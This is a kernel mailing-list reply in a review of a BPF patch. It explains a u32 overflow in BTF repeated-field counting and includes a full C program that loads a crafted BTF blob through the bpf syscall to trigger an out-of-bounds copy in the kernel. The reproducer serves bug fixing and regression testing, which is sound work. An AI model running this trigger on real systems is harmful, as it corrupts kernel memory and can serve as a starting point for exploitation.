Re: [PATCH bpf] bpf: Validate BTF repeated field counts before expansion

From: Paul Moses

Date: Sun Jun 07 2026 - 13:54:16 EST


>
> Right, I know you can get a splat. But how did you stumble on it? Is this BTF
> produced during compilation, or hand-crafted case meant to exercise the limits
> such that we get the splat? If you have a small reproducer, it might make sense
> to include it as a selftest as well.

Yes, it could be converted to a test, it's intended to produce the splat. I'll
work on that.

>
> The callers of this function do:
> if (nelems > 1) {
> err = btf_repeat_fields(info, info_cnt, ret, nelems - 1, t->size);
>
> so repeat_cnt cannot overflow.
>
> 'ret' (which is field_cnt) comes from btf_find_struct_field().
> To overflow the struct needs to have 32k valid fields.
> Is this really what is happening?
>
> The issues is deeper. Please have a reliable reproducer first.
>
>

The repro is 100% reliable, the array repeat count is derived from
nelems - 1, so repeat_cnt + 1 recovers nelems. The overflow is in
the u32 multiplication of the number of fields by the number of
array elements. A small field count can still wrap when multiplied by
a large array element count. 10 * 429496730 wraps from 0x100000004 to 4,
allowing the capacity check to pass before btf_repeat_fields() copies
past the fixed scratch array.


#define _GNU_SOURCE
#include <errno.h>
#include <linux/bpf.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <sys/syscall.h>
#include <unistd.h>

#ifndef __NR_bpf
#error "__NR_bpf is required for this probe"
#endif

#define LOCAL_BTF_MAGIC 0xeb9fU
#define LOCAL_BTF_VERSION 1U
#define LOCAL_BTF_KIND_INT 1U
#define LOCAL_BTF_KIND_PTR 2U
#define LOCAL_BTF_KIND_ARRAY 3U
#define LOCAL_BTF_KIND_STRUCT 4U
#define LOCAL_BTF_KIND_TYPE_TAG 18U
#define LOCAL_BTF_INFO(kind, vlen) (((kind) << 24) | (vlen))
#define LOCAL_BTF_INT_BITS(bits) (bits)

#define TYPE_ID_INT 1U
#define TYPE_ID_TARGET 2U
#define TYPE_ID_KPTR_TAG 3U
#define TYPE_ID_KPTR_PTR 4U
#define TYPE_ID_SPIN_LOCK 5U
#define TYPE_ID_OUTER 6U
#define TYPE_ID_ARRAY 7U
#define TYPE_ID_ELEM 8U

#define ELEM_FIELD_COUNT 10U
#define ELEM_SIZE 8U
#define OUTER_ARRAY_OFFSET_BYTES 8U
#define OUTER_ARRAY_NELEMS 429496730U
#define OUTER_VALUE_SIZE (OUTER_ARRAY_OFFSET_BYTES + (ELEM_SIZE * OUTER_ARRAY_NELEMS))

struct local_btf_header {
uint16_t magic;
uint8_t version;
uint8_t flags;
uint32_t hdr_len;
uint32_t type_off;
uint32_t type_len;
uint32_t str_off;
uint32_t str_len;
uint32_t layout_off;
uint32_t layout_len;
};

struct local_btf_type {
uint32_t name_off;
uint32_t info;
uint32_t size_or_type;
};

struct local_btf_member {
uint32_t name_off;
uint32_t type;
uint32_t offset;
};

struct local_btf_array {
uint32_t type;
uint32_t index_type;
uint32_t nelems;
};

struct bytes {
uint8_t *data;
size_t len;
size_t cap;
};

static int append_bytes(struct bytes *out, const void *src, size_t len)
{
if (len > out->cap || out->len > out->cap - len)
return -1;
memcpy(out->data + out->len, src, len);
out->len += len;
return 0;
}

static int append_type(struct bytes *out, uint32_t name_off, uint32_t kind,
uint32_t vlen, uint32_t size_or_type)
{
struct local_btf_type type = {
.name_off = name_off,
.info = LOCAL_BTF_INFO(kind, vlen),
.size_or_type = size_or_type,
};

return append_bytes(out, &type, sizeof(type));
}

static int append_u32(struct bytes *out, uint32_t value)
{
return append_bytes(out, &value, sizeof(value));
}

static int append_member(struct bytes *out, uint32_t name_off, uint32_t type,
uint32_t bit_offset)
{
struct local_btf_member member = {
.name_off = name_off,
.type = type,
.offset = bit_offset,
};

return append_bytes(out, &member, sizeof(member));
}

static int append_array(struct bytes *out, uint32_t type, uint32_t index_type,
uint32_t nelems)
{
struct local_btf_array array = {
.type = type,
.index_type = index_type,
.nelems = nelems,
};

return append_bytes(out, &array, sizeof(array));
}

static uint32_t add_string(struct bytes *strings, const char *value)
{
uint32_t offset = (uint32_t)strings->len;
size_t len = strlen(value) + 1U;

if (append_bytes(strings, value, len) < 0)
return UINT32_MAX;
return offset;
}

static int build_btf_blob(uint8_t *blob, size_t blob_cap, size_t *blob_len)
{
uint8_t type_buf[1024];
uint8_t str_buf[512] = { 0 };
struct bytes types = { .data = type_buf, .len = 0, .cap = sizeof(type_buf) };
struct bytes strings = { .data = str_buf, .len = 1, .cap = sizeof(str_buf) };
uint32_t str_int = add_string(&strings, "int");
uint32_t str_target = add_string(&strings, "target");
uint32_t str_kptr = add_string(&strings, "kptr_untrusted");
uint32_t str_spin = add_string(&strings, "bpf_spin_lock");
uint32_t str_outer = add_string(&strings, "outer");
uint32_t str_lock = add_string(&strings, "lock");
uint32_t str_items = add_string(&strings, "items");
uint32_t str_elem = add_string(&strings, "elem");
uint32_t str_fields[ELEM_FIELD_COUNT];
struct local_btf_header header;
struct bytes full = { .data = blob, .len = 0, .cap = blob_cap };
uint32_t i;

for (i = 0; i < ELEM_FIELD_COUNT; i++) {
char name[8];

snprintf(name, sizeof(name), "f%u", i);
str_fields[i] = add_string(&strings, name);
}
if (str_int == UINT32_MAX || str_target == UINT32_MAX || str_kptr == UINT32_MAX ||
str_spin == UINT32_MAX || str_outer == UINT32_MAX || str_lock == UINT32_MAX ||
str_items == UINT32_MAX || str_elem == UINT32_MAX)
return -1;
for (i = 0; i < ELEM_FIELD_COUNT; i++) {
if (str_fields[i] == UINT32_MAX)
return -1;
}

if (append_type(&types, str_int, LOCAL_BTF_KIND_INT, 0, 4) < 0 ||
append_u32(&types, LOCAL_BTF_INT_BITS(32)) < 0 ||
append_type(&types, str_target, LOCAL_BTF_KIND_STRUCT, 0, 1) < 0 ||
append_type(&types, str_kptr, LOCAL_BTF_KIND_TYPE_TAG, 0, TYPE_ID_TARGET) < 0 ||
append_type(&types, 0, LOCAL_BTF_KIND_PTR, 0, TYPE_ID_KPTR_TAG) < 0 ||
append_type(&types, str_spin, LOCAL_BTF_KIND_STRUCT, 0, 4) < 0 ||
append_type(&types, str_outer, LOCAL_BTF_KIND_STRUCT, 2, OUTER_VALUE_SIZE) < 0 ||
append_member(&types, str_lock, TYPE_ID_SPIN_LOCK, 0) < 0 ||
append_member(&types, str_items, TYPE_ID_ARRAY, OUTER_ARRAY_OFFSET_BYTES * 8U) < 0 ||
append_type(&types, 0, LOCAL_BTF_KIND_ARRAY, 0, 0) < 0 ||
append_array(&types, TYPE_ID_ELEM, TYPE_ID_INT, OUTER_ARRAY_NELEMS) < 0 ||
append_type(&types, str_elem, LOCAL_BTF_KIND_STRUCT, ELEM_FIELD_COUNT, ELEM_SIZE) < 0)
return -1;
for (i = 0; i < ELEM_FIELD_COUNT; i++) {
if (append_member(&types, str_fields[i], TYPE_ID_KPTR_PTR, 0) < 0)
return -1;
}

memset(&header, 0, sizeof(header));
header.magic = LOCAL_BTF_MAGIC;
header.version = LOCAL_BTF_VERSION;
header.hdr_len = sizeof(header);
header.type_off = 0;
header.type_len = (uint32_t)types.len;
header.str_off = (uint32_t)types.len;
header.str_len = (uint32_t)strings.len;

if (append_bytes(&full, &header, sizeof(header)) < 0 ||
append_bytes(&full, types.data, types.len) < 0 ||
append_bytes(&full, strings.data, strings.len) < 0)
return -1;

*blob_len = full.len;
return 0;
}

static long load_reviewed_btf_variant(void)
{
uint8_t blob[4096];
char log_buf[4096];
union bpf_attr attr;
size_t blob_len = 0;

memset(log_buf, 0, sizeof(log_buf));
memset(&attr, 0, sizeof(attr));
if (build_btf_blob(blob, sizeof(blob), &blob_len) < 0)
return -2;

attr.btf = (uint64_t)(uintptr_t)blob;
attr.btf_size = (uint32_t)blob_len;
attr.btf_log_buf = (uint64_t)(uintptr_t)log_buf;
attr.btf_log_size = sizeof(log_buf);
attr.btf_log_level = 1;

printf("btf_invalid_variant: submitting reviewed BTF payload size=%zu nelems=%u\n",
blob_len, OUTER_ARRAY_NELEMS);
errno = 0;
return syscall(__NR_bpf, BPF_BTF_LOAD, &attr, sizeof(attr));
}

int main(void)
{
long ret = load_reviewed_btf_variant();
int saved_errno = errno;

if (ret == -2) {
printf("btf_invalid_variant: failed to build bounded BTF payload\n");
return 1;
}
printf("btf_invalid_variant: BPF_BTF_LOAD ret=%ld errno=%d (%s)\n",
ret, saved_errno, strerror(saved_errno));
printf("btf_invalid_variant: bounded invalid-access attempt complete\n");
return 0;
}